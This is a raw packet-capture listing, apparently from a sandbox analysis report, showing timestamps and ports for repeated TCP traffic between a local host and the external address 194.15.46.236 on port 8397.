Nov 24, 2024 12:10:07.270476103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.270533085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.271610022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.271709919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.271783113 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.272886038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.272948980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.273006916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.274087906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.274194956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.274252892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.275373936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.275469065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.275526047 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.276623011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.276737928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.276799917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.277949095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.278060913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.278122902 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.279196024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.279324055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.279383898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.280381918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.280486107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.280544043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.281702995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.281816959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.281878948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.283019066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.283101082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.283159971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.284317017 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.284399033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.284459114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.285398006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.285502911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.285571098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.286653996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.286782026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.286849976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.287895918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.288031101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.288086891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.289180994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.289261103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.289319992 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.290394068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.290538073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.290594101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.291680098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.291758060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.291815042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.292903900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.293050051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.293112040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.294164896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.294308901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.294369936 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.295453072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.295562029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.295618057 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.296947002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.297020912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.297077894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.297934055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.298027992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.298088074 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.299235106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.299340010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.299393892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.300426960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.300549030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.300607920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.301691055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.301847935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.301897049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.303117037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.303205013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.303260088 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.304213047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.304347992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.304408073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.305449009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.305573940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.305633068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.306708097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.306819916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.306874990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.307959080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.308080912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.308139086 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.309220076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.309354067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.309411049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.310487032 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.310600042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.310658932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.311762094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.311873913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.311934948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.313122988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.313186884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.313247919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.314296961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.314435959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.314496994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.315587044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.315716982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.315768957 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.316780090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.316886902 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.316941977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.318013906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.318211079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.318263054 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.319288015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.374562979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.463952065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.463968039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.464016914 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.464246035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.464430094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.464477062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.465508938 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.465612888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.465656042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.466866970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.466922998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.466968060 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.468137980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.468270063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.468310118 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.469369888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.469579935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.469624043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.470408916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.470550060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.470592022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.471815109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.471867085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.471904039 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.472909927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.473037004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.473086119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.474198103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.474219084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.474258900 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.475435019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.475544930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.475586891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.476679087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.476805925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.476847887 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.477933884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.478050947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.478097916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.479197979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.479341030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.479399920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.480453968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.480542898 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.480588913 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.481684923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.481785059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.481829882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.482960939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.483091116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.483133078 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.484391928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.484427929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.484471083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.485466957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.485563040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.485605955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.486690044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.486931086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.486974001 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.487967014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.488142967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.488192081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.489187002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.489320040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.489366055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.490468979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.490600109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.490643978 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.491719007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.491825104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.491868973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.492980003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.493057013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.493099928 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.494312048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.494445086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.494486094 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.495492935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.495682001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.495727062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.496723890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.496840000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.496882915 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.498023033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.498091936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.498135090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.499248981 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.499412060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.499454975 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.500483990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.500622034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.500665903 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.501796961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.501908064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.501954079 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.502979994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.503107071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.503150940 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.504232883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.504353046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.504396915 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.505502939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.505628109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.505671024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.506809950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.506885052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.506930113 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.508030891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.508265018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.508307934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.509270906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.509355068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.509398937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.510502100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.510626078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.510668993 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.511814117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.511887074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.511929989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.513003111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.513220072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.513267040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.514275074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.514383078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.514429092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.515564919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.515650988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.515713930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.516779900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.516902924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.516954899 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.518022060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.518266916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.518312931 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.519288063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.519401073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.519445896 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.520526886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.520648003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.520699024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.521816969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.521949053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.521994114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.523049116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.523159027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.523201942 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.524354935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.524466038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.524516106 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.525543928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.525680065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.525722027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.526854992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.526942015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.526985884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.528053045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.528198004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.528242111 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.529300928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.577650070 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.674638987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.674654007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.674664974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.674777985 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.674782038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.674824953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.675919056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.676012993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.676059008 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.677169085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.677274942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.677320004 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.678433895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.678563118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.678607941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.679691076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.679810047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.679852009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.680928946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.681114912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.681159973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.682162046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.682285070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.682338953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.683412075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.683487892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.683533907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.684695959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.684792042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.684835911 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.685926914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.686044931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.686088085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.687182903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.687285900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.687328100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.688416958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.688555002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.688592911 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.689794064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.689929008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.689970970 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.690928936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.691061974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.691106081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.692189932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.692244053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.692282915 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.693443060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.693548918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.693593025 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:07.694699049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.694794893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:07.694838047 CET	49733	8397	192.168.2.4	194.15.46.236
